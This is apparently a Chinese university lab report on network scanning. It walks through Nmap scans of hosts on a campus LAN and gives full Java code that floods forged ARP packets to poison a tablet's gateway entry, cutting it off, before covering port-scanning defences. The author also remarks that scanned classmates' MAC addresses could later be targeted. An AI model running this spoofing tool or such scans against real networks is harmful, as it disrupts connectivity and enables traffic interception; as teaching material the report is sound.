1、 了解扫描技术的工作原理;
2、 加深对网络底层的理解;
3、 掌握常用扫描工具的基本用法;
4、 学习扫描器程序设计的基本方法。(以后再补充)
二、实验环境及相关情况(包含使用软件、实验设备、主要仪器及材料等)1、实验设备:微型计算机;
2、软件系统:windows 7操作系统,Nmap。
三、实验内容1、 Windows平台下Nmap的安装。
2、 Windows平台下Nmap的使用。
3、 Windows平台下查看本地端口。
4、 端口扫描的防范。
四、实验步骤及结果(包含简要的实验步骤流程、结论陈述,可附页) (零)其他知识准备 1、windows上查看本机ip配置信息:ipconfig(1)点击”开始“―>”运行“,输入”cmd“,打开命令提示符窗口后,输入:ipconfig/all
如下图:
2、windows上查看本机端口:netstat
(1)点击”开始“―>”运行“,输入”cmd“,打开命令提示符窗口后,输入:netstat
如下图:
(2)参数详解
netstat 用于显示与IP 、TCP 、UDP 和ICMP 协议相关的统计数据,一般用于检验本机各端口的网络连接情况。
NETSTAT [-a] [-b] [-e] [-n] [-o] [-p proto] [-r] [-s] [-v] [interval],命令提示符窗口后,输入:netstat /?(3)例子说明
第一,打开命令提示符窗口后,输入:netstat -a,如下图:
第二,拿一行出来解释:
协议(Proto ):TCP ,指是传输层通讯协议
本地机器名(Local Address ):10.92.69.12,计算机名了,本地打开并用于连接的端口:1156
远程机器名(Foreign Address ): 如 112.90.78.141
远程端口: 8080
状态:ESTABLISHED
第三,补充:状态列表
LISTEN :在监听状态中。
ESTABLISHED :已建立联机的联机情况。
TIME_WAIT :该联机在目前已经是等待的状态。
(一)在windows平台上安装nmap说明:本次试验本人主要是在windows命令提示符窗口完成,并没有使用到nmap的图形界面工具。
1、从nmap的官网下载namp的安装程序。官网 https://nmap.org/download.html
2、安装namp程序
双击安装程序,执行安装,全部默认即可。windows平台下安装namp需要安装数据包捕捉库WinPacp,其作用是帮助其调用程序(如nmap和wireshark等)捕获通过网卡传输的原始数据。
3、测试是否安装成功(1)安装完成后,点击”开始“―>”运行“,输入”cmd“,然后按回车键”Enter“,进入命令提示符窗口。输入命令:ipconfig/all
找到网关IP:10.29.32.254
(2)输入以下命令:nmap -sA 10.29.32.254。表示对网关进行ACK扫描。结果如下:
可以看出以下信息,
开始扫描的时间为:2016-10-18 09:17 中国标准时间
扫描的主机为:10.29.32.254
扫描的主机状态:up,开机
All 1000 scanned…… unfiltered …:表示有主机10.29.32.254上有1000个被扫描的端口没有防火墙和包被过滤软件来隔离nmap的探测扫描。
Mac地址为:00:1A:A9:15:49:07(这个信息很有用,以后便于我们可以使用arp攻击)
扫描所花的时间为:20.39 seconds
此时,可以判断,安装成功。
4、提高连接扫描的性能(1)进入nmap的安装目录,如C:\Program Files (x86)\Nmap,找到nmap_performance.reg文件
(2)双击打开nmap_performance.reg文件
(3)按确定后,注册表添加成功。
(二)在windows平台上使用nmap 1、用ping扫描方式探测主机
命令:nmap -sP 10.29.32.1-254。表示用ping扫描方式扫描该局域网中开放的主机。
(1)扫描第一次,结果如下:
(2)扫描第二次,结果如下:
(3)扫描第三次,结果如下:
经过多次扫描(如果不怕麻烦,可以多扫描几次),可以得到以下主机的IP和mac地址信息
10.29.32.48 00:90:F5:F9:CC:A5
10.29.32.254 …….
10.29.32.17 …….
PS:知道了这些,以后可以对他们用arp欺骗攻击。
2、探测操作系统类型命令:nmap -O ip地址。表示探测局域网中IP为10.29.32.48的主机。
(1)输入nmap -O 10.29.32.48,结果如图:
可以看出,该主机的状态是down,但我们之前扫描的结果是up。所以推测一下,该主机上存在防火墙。用TCP/IP指纹特征扫描行不通。
(2)输入nmap -O 10.29.32.254,结果如图:
可以看出以下信息:
主机状态:up
999个关闭的端口
开放的端口:只有一个。23/tcp open telnet。表示tcp协议,占用端口23,提供的是telnet服务。
Mac地址:00:1A:A9:15:49:07
操作系统:扫描不出确切的操作系统
。。。。
网络距离:Network Distance : 1 hop。表示只有1跳,即一个路由器。
扫描所花时间:33.60 seconds。
(3)输入nmap -O 10.29.32.17,结果如图:
可以看出一下信息:
主机状态:up
989个被过滤的端口:filtered ports表示防火墙、包过滤和其他的网络安全软件(如360卫士)掩盖了该端口。
开放的端口:图中的“}”所示
Mac地址:2C:41:38:01:A8:00
操作系统:Microsoft Windows 7 或 Phone 或 Vista 或2008
。。。。
网络距离:Network Distance : 1 hop。表示只有1跳,即一个路由器。
扫描所花时间:26.38 seconds。
(4)补充:也可以用nmap去扫描一台linux主机,不过基本没用。因为linux的安全性较高,而且一般云主机都会有安全组策略,同时一般只开放少量的端口,如22、8080、3306这些。所以在这里就不测试。
3、TCP连接扫描(-sT表示TCP全连接扫描)(1)输入nmap -sT 10.29.32.48,结果如图:
可以看出,红线部分的信息:
占用5357端口/tcp协议,状态打开,提供Microsoft Windows WSDAPI服务
(2)输入nmap -sT 10.29.32.254,结果如图:
可以看出,红线部分的信息:
占用23端口/tcp协议,状态打开,提供telnet服务
(3)输入nmap -sT 10.29.32.17,结果如图:
4、TCP同步扫描(-sS表示TCP半开扫描,TCP SYN)
(1)输入nmap -sS 10.29.32.48,结果如图:
可以看出,使用TCP半开扫描所用的时间为32.60s,与上面用TCP全连接扫描同一主机10.29.32.48所用的时间61.25s比较,可以发现TCP半开扫描比TCP全连接扫描快。
(2)输入nmap -sS 10.29.32.254,结果差不多,就不再做赘述了。
(3)输入nmap -sS 10.29.32.17,结果差不多,就不再做赘述了。
5、隐蔽扫描(1)分别输入nmap -sF 10.29.32.48、nmap -sF 10.29.32.254、nmap -sF 10.29.32.17,结果如图:
可以看出,使用FIN扫描方式未能发现目标主机开放的端口。
(2)分别输入nmap -sX 10.29.32.48、nmap -sX 10.29.32.254、nmap -sX 10.29.32.17,结果如图:
可以看出,使用Xmas Tree扫描方式未能发现目标主机开放的端口。
(3)分别输入nmap -sN 10.29.32.48、nmap -sN 10.29.32.254、nmap -sN 10.29.32.17。结果略。
6、小结通过以上5个试验,我们可以得到以下结论:使用TCP全连接扫描得到的信息较多较完整,但需要的时间较长;TCP半开扫描,即TCP SYN扫描得到的信息也较多,但需要的时间比TCP全连接扫描少;隐蔽扫描需要的时间少,但得到的信息也少。
(三)arp攻击 1、说明:以上网络扫描属于被动的网络攻击,那么接下来给大家介绍一下主动的网络攻击:arp欺骗。首先声明,不要在宿舍或公共局域网里面随意使用该攻击,不然网管找上门就GG了。所以接下来我用手机、平板和笔记本电脑构成一个简单的局域网。手机开启网络热点,相当于一个网关,笔记本电脑和平板电脑连接,相当于该局域网络中的两台主机。如图所示:
2、ARP简单介绍。补充:这些百度百科有,详细内容自行百度。我只把关键的内容标注出来。
地址解析协议,即ARP(Address Resolution Protocol),是 根据IP地址获取物理地址 的一个TCP/IP协议。主机发送信息时 将包含目标IP地址的ARP请求广播到网络上的所有主机 ,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。地址解析协议是建立在网络中各个主机互相信任的基础上的,网络上的主机可以 自主发送ARP应答消息 ,其他主机收到应答报文时 不会检测该报文的真实性 就会将其记入本机ARP缓存; 由此攻击者就可以向某一主机发送伪ARP应答报文,使其发送的信息无法到达预期的主机或到达错误的主机,这就构成了一个ARP欺骗 。ARP命令可用于查询本机ARP缓存中IP地址和MAC地址的对应关系、添加或删除静态对应关系等。相关协议有RARP、代理ARP。NDP用于在IPv6中代替地址解析协议。
用本例简单来讲,就是笔记本电脑(攻击者)向平板电脑(被攻击者)发送假的arp应答报文,导致平板电脑的arp缓存表中IP地址对应的MAC地址错误,造成平板电脑发送给对应IP的主机的信息达不到。
查看arp缓存表的命令:arp -a。结果如下图3、ARP欺骗原理
地址解析协议是建立在 网络中各个主机互相信任 的基础上的,它的诞生使得网络能够更加高效的运行,但其本身也存在缺陷:
ARP地址转换表是依赖于计算机中高速缓冲存储器动态更新的,而 高速缓冲存储器的更新 是受到更新周期的限制的, 只保存最近使用的地址的映射关系表项 ,这使得 攻击者有了可乘之机,可以在高速缓冲存储器更新表项之前修改地址转换表 ,实现攻击。 ARP请求为广播形式发送 的,网络上的主机可以 自主发送ARP应答消息 ,并且当其他主机收到应答报文时 不会检测该报文的真实性 就将其记录在本地的MAC地址转换表,这样攻击者就可以向目标主机发送伪ARP应答报文,从而篡改本地的MAC地址表。
ARP攻击就是通过伪造IP地址和MAC地址实现ARP欺骗,能够在网络中产生大量的ARP通信量使网络阻塞,攻击者只要 持续不断的发出伪造的ARP响应包就能更改目标主机ARP缓存中的IP-MAC条目 (即arp缓存表),造成网络中断或中间人攻击。
比如说:
攻击者向电脑A发送一个伪造的ARP响应,告诉电脑A:电脑B的IP地址192.168.0.2对应的MAC地址是00-aa-00-62-c6-03,电脑A信以为真,将这个对应关系写入自己的ARP缓存表中,以后发送数据时,将本应该发往电脑B的数据发送给了攻击者。同样的,攻击者向电脑B也发送一个伪造的ARP响应,告诉电脑B:电脑A的IP地址192.168.0.1对应的MAC地址是00-aa-00-62-c6-03,电脑B也会将数据发送给攻击者。
至此攻击者就控制了电脑A和电脑B之间的流量,他可以选择被动地监测流量,获取密码和其他涉密信息,也可以伪造数据,改变电脑A和电脑B之间的通信内容。
4、ARP欺骗的危害ARP欺骗可以导致目标计算机与网关通信失败,更会导致通信重定向,所有的数据都会通过攻击者的机器,因此存在极大的安全隐患。
5、ARP报文格式(关键!!!)6、用Java实现arp攻击,欺骗局域网中的其它主机(重点、实践)
(1)安装Winpcap。搜索一下就能看到如何下载。由于安装nmap的时候已经一起安装了Winpcap,故这一步可以省略。
(2)将jpcap.dll复制到jdk的bin目录(说明:jpcap.dll和jpcap.jar都比较容易找到,注意一下32位的还是64位的即可,这里就不做赘述)
(3)将jpcap.jar包导入到项目
(4)手机开启WLAN热点,笔记本电脑和平板电脑接入wifi。打开命令提示符窗口后,输入:ipconfig/all,DHCP服务器(即手机)分配给笔记本电脑的的网络配置。
可以发现,该主机的网络配置信息为
被分配的IP为:192.168.43.69
子网掩码为:255.255.255.0
网关为:192.168.43.1
无线网卡的mac地址为:B8-EE-65-AA-D9-B9
(5)使用上面刚学到的nmap网络扫描,即打开命令提示符窗口后,输入:nmap -sP 192.168.43.1-254。结果如图:
可以发现,该局域网有三台主机。各自的网络配置如下:
手机IP:192.168.43.1 手机MAC:24:1F:A0:07:F4:9D
平板电脑IP:192.168.43.244 平板电脑MAC:4C:FB:45:E2:3F:97
本机IP:192.168.43.69
(6)Java代码1:实现的是伪造并单播ARP请求包。
说明:本代码实现的是笔记本电脑作为攻击者,给平板电脑(被攻击者)发送arp请求报文,但报文中改变了真正的网关的IP-MAC的对应关系,将报文中真正的网关MAC地址换成了一个伪造的不存在的mac地址(当然也可以是笔记本电脑攻击者的MAC地址),这样就欺骗了平板电脑。只要程序一直在发送arp请求报文,则平板电脑会一直被欺骗,将本该发送给网关(手机)的数据包发送伪造的不存在的mac地址(或攻击者笔记本电脑),所以会导致断网或者网速很慢。
package arpAttack; import java.net.InetAddress; import java.net.UnknownHostException; import java.util.Scanner; import jpcap.JpcapCaptor; import jpcap.JpcapSender; import jpcap.NetworkInterface; import jpcap.packet.ARPPacket; import jpcap.packet.EthernetPacket; /** * ARP应答协议报文 * * @author ding * */ public class ARPAttack { public static void main(String[] args) throws Exception { // 选择网卡 NetworkInterface device = getNetworkInterface(); // 打开网卡 JpcapSender sender = JpcapSender.openDevice(device); // 构建ARP应答包 ARPPacket arpPacket = createARPPacket(); // 设置重发间隔时间,控制发包速度 int time = 0; // 发送ARP应答包 while (true) { System.out.println("sending arp.."); sender.sendPacket(arpPacket); Thread.sleep(time * 100); } } public static ARPPacket createARPPacket() throws UnknownHostException { // 开始设置ARP包,即用于修改其他主机的ARP缓存表的ARP包 ARPPacket arpPacket = new ARPPacket(); // 硬件类型:选择以太网类型(Ethernet)。 补充知识:如果是以太网则硬件类型为则:0001 。 arpPacket.hardtype = ARPPacket.HARDTYPE_ETHER; // 协议类型:选择IP网络协议类型 。补充知识:这里一般写的是:0800 表示IP类型,ARP是IP协议族中的一个。 arpPacket.prototype = ARPPacket.PROTOTYPE_IP; // op为操作符:选择REPLY类型。补充知识:如果为1则为请求包;如果为2则为回应包。 arpPacket.operation = ARPPacket.ARP_REQUEST; // 硬件地址长度:指的是MAC地址的长度,长度为6 单位是字节 。 arpPacket.hlen = 6; // 协议地址长度:如果是IP4则这个值为4,单位是字节 。 arpPacket.plen = 4; // 发送端MAC地址。由于是伪造的arp包,可以任意设置 arpPacket.sender_hardaddr = toMacBytes("00-01-02-03-04-05"); // 发送端协议地址(IP地址)。冒充该IP arpPacket.sender_protoaddr = toIpBytes("192.168.43.1"); // 目的端MAC地址(待填充)。由于是伪造的arp包,可以任意设置 arpPacket.target_hardaddr = toMacBytes("00-00-00-00-00-00"); // 目的端协议地址(IP地址)。欺骗该IP arpPacket.target_protoaddr = toIpBytes("192.168.43.244"); /** ----- ARP协议报文的 ------ **/ // 设置DLC帧,即以太网帧。 或者说创建一个以太网头 EthernetPacket ether = new EthernetPacket(); // 以太网源地址: 是发出给ARP包的主机地址。 // 本人测试的时候,需要是攻击者的真实的mac地址,这里为本机无线网卡的mac地址 ether.src_mac = toMacBytes("B8-EE-65-AA-D9-B9"); // 以太网目的地址,被攻击者真实的mac地址。或用广播地址:FF-FF-FF-FF-FF-FF ether.dst_mac = toMacBytes("4C-FB-45-E2-3F-97"); // 选择以太网的包类型 。补充知识:用来表明上层协议的类型,如果是ARP协议的话就为:0806 。 ether.frametype = EthernetPacket.ETHERTYPE_ARP; // 将以太网包首部添加到ARP包前 arpPacket.datalink = ether; return arpPacket; } /** * 通过控制台选择网卡 * * @return */ static NetworkInterface getNetworkInterface() { // 枚举网卡 NetworkInterface[] devices = JpcapCaptor.getDeviceList(); for (int i = 0; i < devices.length; i++) { byte[] mac = devices[i].mac_address; System.out.println(i + ":" + Integer.toHexString(mac[0]) + "-" + Integer.toHexString(mac[1]) + "-" + Integer.toHexString(mac[2]) + "-" + Integer.toHexString(mac[3]) + "-" + Integer.toHexString(mac[4]) + "-" + Integer.toHexString(mac[5])); } // 控制台选择网卡 System.out.println("请输入对应的数字选择网卡"); Scanner sc = new Scanner(System.in); NetworkInterface device = devices[sc.nextInt()]; sc.close(); return device; } /** * 将ip字符类型转化为byte类型 * * @param ipString * @return * @throws UnknownHostException */ static byte[] toIpBytes(String ipString) throws UnknownHostException { return InetAddress.getByName(ipString).getAddress(); } /** * 将mac字符类型转化为byte类型 * * @param macStr * @return */ static byte[] toMacBytes(String macStr) { byte[] mac = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 }; String[] s1 = macStr.split("-"); for (int x = 0; x < s1.length; x++) { mac[x] = (byte) ((Integer.parseInt(s1[x], 16)) & 0xff); } return mac; } }补充:只是为了说明arp欺骗的原理,故该代码并没有考虑代码的健壮性和可复用性。大家可以自行解耦。
(7)运行代码后的结果:平板电脑断网或者网速很慢。如果int time = 0,则会断网。
而且打开wireshark抓取数据包时,会发现大量的ARP报文。如下图所示:
在打开一个数据包来观察,如下图:
(8)Java代码2:实现的是伪造并广播ARP请求包。有空再补充。
(9)Java代码3:实现的是伪造ARP包应答。有空再补充。
7、ARP攻击的局限性ARP攻击仅能在以太网(局域网如:机房、内网、公司网络等)进行。
无法对外网(互联网、非本区域内的局域网)进行攻击。
(四)端口扫描的防范。 1、原理一般而言,计算机所有对外开放的端口都存在潜在的危险。而一些系统必要的通讯端口(如80、8080)等一般不能关闭,但是,对于大部分端口,尤其是windows系统而言,我们可以关闭它们。因此,可以根据不同情况,采用各种方法对端口进行管理,从而减小安全风险。
2、方法1:关掉不需要的网络服务(以windows为例)有些操作系统默认启动了一些服务,但对于部分用户而言,这些服务不是必要的。所以可以通过停止这些服务来禁止对此类端口的访问。步骤如下:
(1)“控制面板”―>”管理工具”―>”服务”
(2)选择需要停止的服务,右击鼠标,在弹出栏菜单中单击“停止”即可。此方法较为简单了,所以在这里不做赘述。
3、方法2:设置IP筛选器(以windows为例)当不能通过停止服务来关闭端口时,则可采用设置IP筛选器的方法。步骤如下:
(1)打开命令提示符窗口,输入secpol.msc。
(2)打开了“本地安全策略”窗口,右击“IP 安全策略,在 本地计算机”,选择单击“创建IP安全策略(C)”。
(3)点击“下一步”,修改名称,添加描述,再点击”下一步“。
(4)根据情况决定要不要勾选“激活默认响应规则(仅限于windows的早期版本)”,本人是不勾选,然后点击”下一步“。
(5)去掉勾选“编辑属性”,单击“完成”。
(6)回到了本地安全策略的窗口,可以发现多了个刚刚新建的“辉哥的 IP 安全策略”。右击它,然后选择单击“属性”。
(7)在弹出的“XXX IP 安全策略 属性”菜单中,去掉勾选“使用添加向导”,然后点击“添加(D)”
(8)在弹出的“新规则 属性”菜单中,选择“IP筛选器列表”选项卡,然后点击“添加(D)”
(9)在弹出的“IP筛选器列表”菜单中,修改名称,去掉勾选“使用添加向导”,然后单击“添加(D)”
(10)在弹出的“IP筛选器 属性”菜单中,选择“地址”选项卡,按下图设置
(11)选择“协议”选项卡,按下图设置,最后按“确定”
(12)选中刚刚新建的IP筛选器,然后单击“确定”
(13)回到“新规则 属性”菜单中,选择“筛选器操作”选项卡,去掉勾选“使用添加向导”,单击“添加”
(14)在弹出的“新筛选器操作 属性”菜单中,安全方法设为“阻止”,然后“应用”―>“确定”。
(15)回到“新规则 属性”菜单中的“筛选器操作”选项卡,选中刚刚新建的“新筛选器操作”,单击“应用”―>”确定”。
(16)回到“新规则 属性”菜单中的“IP筛选器列表”选项卡,选中刚刚新建的“XXX 筛选器列表”,然后单击“应用”―>”确定”。
(17)回到新建完成的“XXX IP 安全策略 属性”菜单中,选中刚刚新建完成的IP筛选器,然后单击“应用”―>”确定”。
(18)回到了本地安全策略的窗口,右击“辉哥的 IP 安全策略”,然后选择单击“分配”。
单击“分配”后,结果如下:
(19)测试
A:没有分配前,即
在另一台主机使用nmap扫描,发现135端口是开启的。(80端口是Http协议需要用到的端口,默认开启)
B:分配后,即
在另一台主机使用nmap扫描,发现135端口被过滤了。
说明实验成功!
(20)使用“协商安全”和“与共享秘钥”的方法控制。
首先,在“新筛选器操作 属性”菜单中,安全方法设为“协商安全”,
接着,在“编辑规则 属性”菜单中,选中“身份验证选项卡”,单击“添加”
然后,设置“预共享秘钥”
接着,再另一台电脑(即被网络扫描的目标主机)也做同样的设置。
最后,测试的时候发现,该端口仍然是直接被过滤了,并拥有同样的预设私钥并没有起作用。问题的原因仍在探索。
4、方法3:安装软件防火墙。该方法较为容易,就不再做赘述。
五、实验总结(包括心得体会、问题回答及实验改进意见)1、通过本次试验,理解了端口扫描器和漏洞扫描器的基本原理。
2、通过使用nmap此网络扫描器,用不同的方式进行扫描,并对所得到的数据进行分析,基本学会了该工具的使用,并且对端口扫描器和漏洞扫描器的基本原理的理解更深。
3、延伸学习了ARP攻击,将网络扫描这种被动攻击和ARP攻击这种主动攻击结合起来,针对主机的进行了脆弱性分析。
4、对信息技术安全有了更深刻的理解。